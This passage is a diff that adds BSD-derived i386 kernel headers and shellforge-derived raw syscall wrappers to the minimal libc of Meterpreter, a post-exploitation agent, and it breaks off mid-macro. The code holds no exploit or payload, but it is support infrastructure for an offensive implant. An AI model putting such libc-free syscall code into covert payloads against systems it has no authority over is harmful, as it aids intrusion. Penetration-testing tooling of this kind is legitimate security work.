|
||||
#ifndef VM_BCACHE_SIZE_MAX
|
||||
#define VM_BCACHE_SIZE_MAX (200 * 1024 * 1024)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Mach derived conversion macros
|
||||
*/
|
||||
#define trunc_page(x) ((x) & ~PAGE_MASK)
|
||||
#define round_page(x) (((x) + PAGE_MASK) & ~PAGE_MASK)
|
||||
#define trunc_4mpage(x) ((x) & ~PDRMASK)
|
||||
#define round_4mpage(x) ((((x)) + PDRMASK) & ~PDRMASK)
|
||||
|
||||
#define atop(x) ((x) >> PAGE_SHIFT)
|
||||
#define ptoa(x) ((x) << PAGE_SHIFT)
|
||||
|
||||
#define i386_btop(x) ((x) >> PAGE_SHIFT)
|
||||
#define i386_ptob(x) ((x) << PAGE_SHIFT)
|
||||
|
||||
#define pgtok(x) ((x) * (PAGE_SIZE / 1024))
|
||||
|
||||
#endif /* !_MACHINE_PARAM_H_ */
|
||||
#endif /* !_NO_NAMESPACE_POLLUTION */
|
269
c/meterpreter/source/ulibc/arch/Linux/i686/segments.h
Normal file
269
c/meterpreter/source/ulibc/arch/Linux/i686/segments.h
Normal file
@ -0,0 +1,269 @@
|
||||
/*-
|
||||
* Copyright (c) 1989, 1990 William F. Jolitz
|
||||
* Copyright (c) 1990 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* William Jolitz.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* from: @(#)segments.h 7.1 (Berkeley) 5/9/91
|
||||
* $FreeBSD: head/sys/i386/include/segments.h 181775 2008-08-15 20:51:31Z kmacy $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE_SEGMENTS_H_
|
||||
#define _MACHINE_SEGMENTS_H_
|
||||
|
||||
/*
|
||||
* 386 Segmentation Data Structures and definitions
|
||||
* William F. Jolitz (william@ernie.berkeley.edu) 6/20/1989
|
||||
*/
|
||||
|
||||
/*
|
||||
* Selectors
|
||||
*/
|
||||
|
||||
#define ISPL(s) ((s)&3) /* what is the priority level of a selector */
|
||||
#ifdef XEN
|
||||
#define SEL_KPL 1 /* kernel priority level */
|
||||
#else
|
||||
#define SEL_KPL 0 /* kernel priority level */
|
||||
#endif
|
||||
#define SEL_UPL 3 /* user priority level */
|
||||
#define ISLDT(s) ((s)&SEL_LDT) /* is it local or global */
|
||||
#define SEL_LDT 4 /* local descriptor table */
|
||||
#define IDXSEL(s) (((s)>>3) & 0x1fff) /* index of selector */
|
||||
#define LSEL(s,r) (((s)<<3) | SEL_LDT | r) /* a local selector */
|
||||
#define GSEL(s,r) (((s)<<3) | r) /* a global selector */
|
||||
|
||||
/*
|
||||
* Memory and System segment descriptors
|
||||
*/
|
||||
struct segment_descriptor {
|
||||
unsigned sd_lolimit:16 ; /* segment extent (lsb) */
|
||||
unsigned sd_lobase:24 __packed; /* segment base address (lsb) */
|
||||
unsigned sd_type:5 ; /* segment type */
|
||||
unsigned sd_dpl:2 ; /* segment descriptor priority level */
|
||||
unsigned sd_p:1 ; /* segment descriptor present */
|
||||
unsigned sd_hilimit:4 ; /* segment extent (msb) */
|
||||
unsigned sd_xx:2 ; /* unused */
|
||||
unsigned sd_def32:1 ; /* default 32 vs 16 bit size */
|
||||
unsigned sd_gran:1 ; /* limit granularity (byte/page units)*/
|
||||
unsigned sd_hibase:8 ; /* segment base address (msb) */
|
||||
} ;
|
||||
|
||||
/*
|
||||
* Gate descriptors (e.g. indirect descriptors)
|
||||
*/
|
||||
struct gate_descriptor {
|
||||
unsigned gd_looffset:16 ; /* gate offset (lsb) */
|
||||
unsigned gd_selector:16 ; /* gate segment selector */
|
||||
unsigned gd_stkcpy:5 ; /* number of stack wds to cpy */
|
||||
unsigned gd_xx:3 ; /* unused */
|
||||
unsigned gd_type:5 ; /* segment type */
|
||||
unsigned gd_dpl:2 ; /* segment descriptor priority level */
|
||||
unsigned gd_p:1 ; /* segment descriptor present */
|
||||
unsigned gd_hioffset:16 ; /* gate offset (msb) */
|
||||
} ;
|
||||
|
||||
/*
|
||||
* Generic descriptor
|
||||
*/
|
||||
union descriptor {
|
||||
struct segment_descriptor sd;
|
||||
struct gate_descriptor gd;
|
||||
};
|
||||
|
||||
/* system segments and gate types */
|
||||
#define SDT_SYSNULL 0 /* system null */
|
||||
#define SDT_SYS286TSS 1 /* system 286 TSS available */
|
||||
#define SDT_SYSLDT 2 /* system local descriptor table */
|
||||
#define SDT_SYS286BSY 3 /* system 286 TSS busy */
|
||||
#define SDT_SYS286CGT 4 /* system 286 call gate */
|
||||
#define SDT_SYSTASKGT 5 /* system task gate */
|
||||
#define SDT_SYS286IGT 6 /* system 286 interrupt gate */
|
||||
#define SDT_SYS286TGT 7 /* system 286 trap gate */
|
||||
#define SDT_SYSNULL2 8 /* system null again */
|
||||
#define SDT_SYS386TSS 9 /* system 386 TSS available */
|
||||
#define SDT_SYSNULL3 10 /* system null again */
|
||||
#define SDT_SYS386BSY 11 /* system 386 TSS busy */
|
||||
#define SDT_SYS386CGT 12 /* system 386 call gate */
|
||||
#define SDT_SYSNULL4 13 /* system null again */
|
||||
#define SDT_SYS386IGT 14 /* system 386 interrupt gate */
|
||||
#define SDT_SYS386TGT 15 /* system 386 trap gate */
|
||||
|
||||
/* memory segment types */
|
||||
#define SDT_MEMRO 16 /* memory read only */
|
||||
#define SDT_MEMROA 17 /* memory read only accessed */
|
||||
#define SDT_MEMRW 18 /* memory read write */
|
||||
#define SDT_MEMRWA 19 /* memory read write accessed */
|
||||
#define SDT_MEMROD 20 /* memory read only expand dwn limit */
|
||||
#define SDT_MEMRODA 21 /* memory read only expand dwn limit accessed */
|
||||
#define SDT_MEMRWD 22 /* memory read write expand dwn limit */
|
||||
#define SDT_MEMRWDA 23 /* memory read write expand dwn limit accessed */
|
||||
#define SDT_MEME 24 /* memory execute only */
|
||||
#define SDT_MEMEA 25 /* memory execute only accessed */
|
||||
#define SDT_MEMER 26 /* memory execute read */
|
||||
#define SDT_MEMERA 27 /* memory execute read accessed */
|
||||
#define SDT_MEMEC 28 /* memory execute only conforming */
|
||||
#define SDT_MEMEAC 29 /* memory execute only accessed conforming */
|
||||
#define SDT_MEMERC 30 /* memory execute read conforming */
|
||||
#define SDT_MEMERAC 31 /* memory execute read accessed conforming */
|
||||
|
||||
/*
|
||||
* Software definitions are in this convenient format,
|
||||
* which are translated into inconvenient segment descriptors
|
||||
* when needed to be used by the 386 hardware
|
||||
*/
|
||||
|
||||
struct soft_segment_descriptor {
|
||||
unsigned ssd_base ; /* segment base address */
|
||||
unsigned ssd_limit ; /* segment extent */
|
||||
unsigned ssd_type:5 ; /* segment type */
|
||||
unsigned ssd_dpl:2 ; /* segment descriptor priority level */
|
||||
unsigned ssd_p:1 ; /* segment descriptor present */
|
||||
unsigned ssd_xx:4 ; /* unused */
|
||||
unsigned ssd_xx1:2 ; /* unused */
|
||||
unsigned ssd_def32:1 ; /* default 32 vs 16 bit size */
|
||||
unsigned ssd_gran:1 ; /* limit granularity (byte/page units)*/
|
||||
};
|
||||
|
||||
/*
|
||||
* region descriptors, used to load gdt/idt tables before segments yet exist.
|
||||
*/
|
||||
struct region_descriptor {
|
||||
unsigned rd_limit:16; /* segment extent */
|
||||
unsigned rd_base:32 __packed; /* base address */
|
||||
};
|
||||
|
||||
/*
|
||||
* Segment Protection Exception code bits
|
||||
*/
|
||||
|
||||
#define SEGEX_EXT 0x01 /* recursive or externally induced */
|
||||
#define SEGEX_IDT 0x02 /* interrupt descriptor table */
|
||||
#define SEGEX_TI 0x04 /* local descriptor table */
|
||||
/* other bits are affected descriptor index */
|
||||
#define SEGEX_IDX(s) (((s)>>3)&0x1fff)
|
||||
|
||||
/*
|
||||
* Size of IDT table
|
||||
*/
|
||||
|
||||
#define NIDT 256 /* 32 reserved, 0x80 syscall, most are h/w */
|
||||
#define NRSVIDT 32 /* reserved entries for cpu exceptions */
|
||||
|
||||
/*
|
||||
* Entries in the Interrupt Descriptor Table (IDT)
|
||||
*/
|
||||
#define IDT_DE 0 /* #DE: Divide Error */
|
||||
#define IDT_DB 1 /* #DB: Debug */
|
||||
#define IDT_NMI 2 /* Nonmaskable External Interrupt */
|
||||
#define IDT_BP 3 /* #BP: Breakpoint */
|
||||
#define IDT_OF 4 /* #OF: Overflow */
|
||||
#define IDT_BR 5 /* #BR: Bound Range Exceeded */
|
||||
#define IDT_UD 6 /* #UD: Undefined/Invalid Opcode */
|
||||
#define IDT_NM 7 /* #NM: No Math Coprocessor */
|
||||
#define IDT_DF 8 /* #DF: Double Fault */
|
||||
#define IDT_FPUGP 9 /* Coprocessor Segment Overrun */
|
||||
#define IDT_TS 10 /* #TS: Invalid TSS */
|
||||
#define IDT_NP 11 /* #NP: Segment Not Present */
|
||||
#define IDT_SS 12 /* #SS: Stack Segment Fault */
|
||||
#define IDT_GP 13 /* #GP: General Protection Fault */
|
||||
#define IDT_PF 14 /* #PF: Page Fault */
|
||||
#define IDT_MF 16 /* #MF: FPU Floating-Point Error */
|
||||
#define IDT_AC 17 /* #AC: Alignment Check */
|
||||
#define IDT_MC 18 /* #MC: Machine Check */
|
||||
#define IDT_XF 19 /* #XF: SIMD Floating-Point Exception */
|
||||
#define IDT_IO_INTS NRSVIDT /* Base of IDT entries for I/O interrupts. */
|
||||
#define IDT_SYSCALL 0x80 /* System Call Interrupt Vector */
|
||||
|
||||
/*
|
||||
* Entries in the Global Descriptor Table (GDT)
|
||||
* Note that each 4 entries share a single 32 byte L1 cache line.
|
||||
* Some of the fast syscall instructions require a specific order here.
|
||||
*/
|
||||
#define GNULL_SEL 0 /* Null Descriptor */
|
||||
#define GPRIV_SEL 1 /* SMP Per-Processor Private Data */
|
||||
#define GUFS_SEL 2 /* User %fs Descriptor (order critical: 1) */
|
||||
#define GUGS_SEL 3 /* User %gs Descriptor (order critical: 2) */
|
||||
#define GCODE_SEL 4 /* Kernel Code Descriptor (order critical: 1) */
|
||||
#define GDATA_SEL 5 /* Kernel Data Descriptor (order critical: 2) */
|
||||
#define GUCODE_SEL 6 /* User Code Descriptor (order critical: 3) */
|
||||
#define GUDATA_SEL 7 /* User Data Descriptor (order critical: 4) */
|
||||
#define GBIOSLOWMEM_SEL 8 /* BIOS low memory access (must be entry 8) */
|
||||
#define GPROC0_SEL 9 /* Task state process slot zero and up */
|
||||
#define GLDT_SEL 10 /* Default User LDT */
|
||||
#define GUSERLDT_SEL 11 /* User LDT */
|
||||
#define GPANIC_SEL 12 /* Task state to consider panic from */
|
||||
#define GBIOSCODE32_SEL 13 /* BIOS interface (32bit Code) */
|
||||
#define GBIOSCODE16_SEL 14 /* BIOS interface (16bit Code) */
|
||||
#define GBIOSDATA_SEL 15 /* BIOS interface (Data) */
|
||||
#define GBIOSUTIL_SEL 16 /* BIOS interface (Utility) */
|
||||
#define GBIOSARGS_SEL 17 /* BIOS interface (Arguments) */
|
||||
#define GNDIS_SEL 18 /* For the NDIS layer */
|
||||
|
||||
#ifdef XEN
|
||||
#define NGDT 9
|
||||
#else
|
||||
#define NGDT 19
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Entries in the Local Descriptor Table (LDT)
|
||||
*/
|
||||
#define LSYS5CALLS_SEL 0 /* forced by intel BCS */
|
||||
#define LSYS5SIGR_SEL 1
|
||||
#define L43BSDCALLS_SEL 2 /* notyet */
|
||||
#define LUCODE_SEL 3
|
||||
#define LSOL26CALLS_SEL 4 /* Solaris >= 2.6 system call gate */
|
||||
#define LUDATA_SEL 5
|
||||
/* separate stack, es,fs,gs sels ? */
|
||||
/* #define LPOSIXCALLS_SEL 5*/ /* notyet */
|
||||
#define LBSDICALLS_SEL 16 /* BSDI system call gate */
|
||||
#define NLDT (LBSDICALLS_SEL + 1)
|
||||
|
||||
#ifdef _KERNEL
|
||||
extern int _default_ldt;
|
||||
#ifdef XEN
|
||||
extern union descriptor *gdt;
|
||||
extern union descriptor *ldt;
|
||||
#else
|
||||
extern union descriptor gdt[];
|
||||
extern union descriptor ldt[NLDT];
|
||||
#endif
|
||||
extern struct soft_segment_descriptor gdt_segs[];
|
||||
extern struct gate_descriptor *idt;
|
||||
extern struct region_descriptor r_gdt, r_idt;
|
||||
|
||||
void lgdt(struct region_descriptor *rdp);
|
||||
void sdtossd(struct segment_descriptor *sdp,
|
||||
struct soft_segment_descriptor *ssdp);
|
||||
void ssdtosd(struct soft_segment_descriptor *ssdp,
|
||||
struct segment_descriptor *sdp);
|
||||
#endif /* _KERNEL */
|
||||
|
||||
#endif /* !_MACHINE_SEGMENTS_H_ */
|
134
c/meterpreter/source/ulibc/arch/Linux/i686/signal.h
Normal file
134
c/meterpreter/source/ulibc/arch/Linux/i686/signal.h
Normal file
@ -0,0 +1,134 @@
|
||||
/*-
|
||||
* Copyright (c) 1986, 1989, 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)signal.h 8.1 (Berkeley) 6/11/93
|
||||
* $FreeBSD: head/sys/i386/include/signal.h 190623 2009-04-01 13:44:28Z kib $
|
||||
*/
|
||||
|
||||
#ifndef _MACHINE_SIGNAL_H_
|
||||
#define _MACHINE_SIGNAL_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/_sigset.h>
|
||||
|
||||
/*
|
||||
* Machine-dependent signal definitions
|
||||
*/
|
||||
|
||||
typedef int sig_atomic_t;
|
||||
|
||||
#if __BSD_VISIBLE
|
||||
#include <machine/trap.h> /* codes for SIGILL, SIGFPE */
|
||||
|
||||
/*
|
||||
* Only the kernel should need these old type definitions.
|
||||
*/
|
||||
#if defined(_KERNEL) && defined(COMPAT_43)
|
||||
/*
|
||||
* Information pushed on stack when a signal is delivered.
|
||||
* This is used by the kernel to restore state following
|
||||
* execution of the signal handler. It is also made available
|
||||
* to the handler to allow it to restore state properly if
|
||||
* a non-standard exit is performed.
|
||||
*/
|
||||
struct osigcontext {
|
||||
int sc_onstack; /* sigstack state to restore */
|
||||
osigset_t sc_mask; /* signal mask to restore */
|
||||
int sc_esp; /* machine state follows: */
|
||||
int sc_ebp;
|
||||
int sc_isp;
|
||||
int sc_eip;
|
||||
int sc_efl;
|
||||
int sc_es;
|
||||
int sc_ds;
|
||||
int sc_cs;
|
||||
int sc_ss;
|
||||
int sc_edi;
|
||||
int sc_esi;
|
||||
int sc_ebx;
|
||||
int sc_edx;
|
||||
int sc_ecx;
|
||||
int sc_eax;
|
||||
int sc_gs;
|
||||
int sc_fs;
|
||||
int sc_trapno;
|
||||
int sc_err;
|
||||
};
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The sequence of the fields/registers in struct sigcontext should match
|
||||
* those in mcontext_t.
|
||||
*/
|
||||
struct sigcontext {
|
||||
struct __sigset sc_mask; /* signal mask to restore */
|
||||
int sc_onstack; /* sigstack state to restore */
|
||||
int sc_gs; /* machine state (struct trapframe) */
|
||||
int sc_fs;
|
||||
int sc_es;
|
||||
int sc_ds;
|
||||
int sc_edi;
|
||||
int sc_esi;
|
||||
int sc_ebp;
|
||||
int sc_isp;
|
||||
int sc_ebx;
|
||||
int sc_edx;
|
||||
int sc_ecx;
|
||||
int sc_eax;
|
||||
int sc_trapno;
|
||||
int sc_err;
|
||||
int sc_eip;
|
||||
int sc_cs;
|
||||
int sc_efl;
|
||||
int sc_esp;
|
||||
int sc_ss;
|
||||
int sc_len; /* sizeof(mcontext_t) */
|
||||
/*
|
||||
* XXX - See <machine/ucontext.h> and <machine/npx.h> for
|
||||
* the following fields.
|
||||
*/
|
||||
int sc_fpformat;
|
||||
int sc_ownedfp;
|
||||
int sc_spare1[1];
|
||||
int sc_fpstate[128] __aligned(16);
|
||||
|
||||
int sc_fsbase;
|
||||
int sc_gsbase;
|
||||
|
||||
int sc_spare2[6];
|
||||
};
|
||||
|
||||
#define sc_sp sc_esp
|
||||
#define sc_fp sc_ebp
|
||||
#define sc_pc sc_eip
|
||||
#define sc_ps sc_efl
|
||||
#define sc_eflags sc_efl
|
||||
|
||||
#endif /* __BSD_VISIBLE */
|
||||
|
||||
#endif /* !_MACHINE_SIGNAL_H_ */
|
109
c/meterpreter/source/ulibc/arch/Linux/i686/sysarch.h
Normal file
109
c/meterpreter/source/ulibc/arch/Linux/i686/sysarch.h
Normal file
@ -0,0 +1,109 @@
|
||||
/*-
|
||||
* Copyright (c) 1993 The Regents of the University of California.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: head/sys/i386/include/sysarch.h 145034 2005-04-13 22:57:17Z peter $
|
||||
*/
|
||||
|
||||
/*
|
||||
* Architecture specific syscalls (i386)
|
||||
*/
|
||||
#ifndef _MACHINE_SYSARCH_H_
|
||||
#define _MACHINE_SYSARCH_H_
|
||||
|
||||
#define I386_GET_LDT 0
|
||||
#define I386_SET_LDT 1
|
||||
#define LDT_AUTO_ALLOC 0xffffffff
|
||||
/* I386_IOPL */
|
||||
#define I386_GET_IOPERM 3
|
||||
#define I386_SET_IOPERM 4
|
||||
/* xxxxx */
|
||||
#define I386_VM86 6
|
||||
#define I386_GET_FSBASE 7
|
||||
#define I386_SET_FSBASE 8
|
||||
#define I386_GET_GSBASE 9
|
||||
#define I386_SET_GSBASE 10
|
||||
|
||||
/* These four only exist when running an i386 binary on amd64 */
|
||||
#define _AMD64_GET_FSBASE 128
|
||||
#define _AMD64_SET_FSBASE 129
|
||||
#define _AMD64_GET_GSBASE 130
|
||||
#define _AMD64_SET_GSBASE 131
|
||||
|
||||
struct i386_ldt_args {
|
||||
unsigned int start;
|
||||
union descriptor *descs;
|
||||
unsigned int num;
|
||||
};
|
||||
|
||||
struct i386_ioperm_args {
|
||||
unsigned int start;
|
||||
unsigned int length;
|
||||
int enable;
|
||||
};
|
||||
|
||||
struct i386_vm86_args {
|
||||
int sub_op; /* sub-operation to perform */
|
||||
char *sub_args; /* args */
|
||||
};
|
||||
|
||||
#ifndef _KERNEL
|
||||
#include <sys/cdefs.h>
|
||||
|
||||
union descriptor;
|
||||
struct dbreg;
|
||||
|
||||
__BEGIN_DECLS
|
||||
/* These four only exist when running an i386 binary on amd64 */
|
||||
int _amd64_get_fsbase(void **);
|
||||
int _amd64_get_gsbase(void **);
|
||||
int _amd64_set_fsbase(void *);
|
||||
int _amd64_set_gsbase(void *);
|
||||
int i386_get_ldt(int, union descriptor *, int);
|
||||
int i386_set_ldt(int, union descriptor *, int);
|
||||
int i386_get_ioperm(unsigned int, unsigned int *, int *);
|
||||
int i386_set_ioperm(unsigned int, unsigned int, int);
|
||||
int i386_vm86(int, void *);
|
||||
int i386_get_fsbase(void **);
|
||||
int i386_get_gsbase(void **);
|
||||
int i386_set_fsbase(void *);
|
||||
int i386_set_gsbase(void *);
|
||||
int i386_set_watch(int, unsigned int, int, int, struct dbreg *);
|
||||
int i386_clr_watch(int, struct dbreg *);
|
||||
int sysarch(int, void *);
|
||||
__END_DECLS
|
||||
#else
|
||||
struct thread;
|
||||
union descriptor;
|
||||
|
||||
int i386_get_ldt(struct thread *, struct i386_ldt_args *);
|
||||
int i386_set_ldt(struct thread *, struct i386_ldt_args *, union descriptor *);
|
||||
int i386_get_ioperm(struct thread *, struct i386_ioperm_args *);
|
||||
int i386_set_ioperm(struct thread *, struct i386_ioperm_args *);
|
||||
#endif
|
||||
|
||||
#endif /* !_MACHINE_SYSARCH_H_ */
|
444
c/meterpreter/source/ulibc/arch/Linux/i686/syscalls.c
Normal file
444
c/meterpreter/source/ulibc/arch/Linux/i686/syscalls.c
Normal file
@ -0,0 +1,444 @@
|
||||
/*
|
||||
* derived from:
|
||||
*
|
||||
* sfsyscall.h -- shellforge syscall implementation
|
||||
* see http://www.cartel-securite.net/pbiondi/shellforge.html
|
||||
* for more informations
|
||||
*
|
||||
* Copyright (C) 2003 Philippe Biondi <biondi@cartel-securite.fr>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU Lesser General Public License as published by
|
||||
* the Free Software Foundation.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* Lesser General Public License for more details.
|
||||
*/
|
||||
|
||||
/* $Id: sfsyscall.h,v 1.5 2003/08/25 14:30:33 pbi Exp $ */
|
||||
|
||||
/* Remove errno stuff */
|
||||
#include <sys/syscall.h>
|
||||
|
||||
|
||||
|
||||
#define __sfsyscall_return(type, res) \
|
||||
do { \
|
||||
return (type) (res); \
|
||||
} while (0)
|
||||
|
||||
/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
|
||||
#define _sfsyscall0(type,name) \
|
||||
type name(void) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("int $0x80" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name)); \
|
||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
#define _sfsyscall1(type,name,type1,arg1) \
|
||||
type name(type1 arg1) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||
"mov %2,%%ebx\n\t" \
|
||||
"int $0x80\n\t" \
|
||||
"popl %%ebx" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"g" ((long)(arg1))); \
|
||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
#define _sfsyscall2(type,name,type1,arg1,type2,arg2) \
|
||||
type name(type1 arg1,type2 arg2) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||
"mov %2,%%ebx\n\t" \
|
||||
"int $0x80\n\t" \
|
||||
"popl %%ebx" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)) ); \
|
||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
#define _sfsyscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
|
||||
type name(type1 arg1,type2 arg2,type3 arg3) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||
"mov %2,%%ebx\n\t" \
|
||||
"int $0x80\n\t" \
|
||||
"popl %%ebx" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||
"d" ((long)(arg3)) ); \
|
||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
#define _sfsyscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
|
||||
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||
"mov %2,%%ebx\n\t" \
|
||||
"int $0x80\n\t" \
|
||||
"popl %%ebx" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||
"d" ((long)(arg3)),"S" ((long)(arg4)) ); \
|
||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
#define _sfsyscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
|
||||
type5,arg5) \
|
||||
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||
"mov %2,%%ebx\n\t" \
|
||||
"int $0x80\n\t" \
|
||||
"popl %%ebx" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
|
||||
__sfsyscall_return(type,__res); \
|
||||
}
|
||||
|
||||
#define _sfsyscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
|
||||
type5,arg5,type6,arg6) \
|
||||
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5, type6 arg6) \
|
||||
{ \
|
||||
long __res; \
|
||||
__asm__ volatile ("pushl %%ebx\n\t" \
|
||||
"pushl %%ebp\n\t" \
|
||||
"movl %2,%%ebx\n\t" \
|
||||
"movl %7,%%ebp\n\t" \
|
||||
"int $0x80\n\t" \
|
||||
"popl %%ebp\n\t" \
|
||||
"popl %%ebx" \
|
||||
: "=a" (__res) \
|
||||
: "0" (__NR_##name),"g" ((long)(arg1)),"c" ((long)(arg2)), \
|
||||
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
|
||||
"g" ((long)(arg6))); \
|
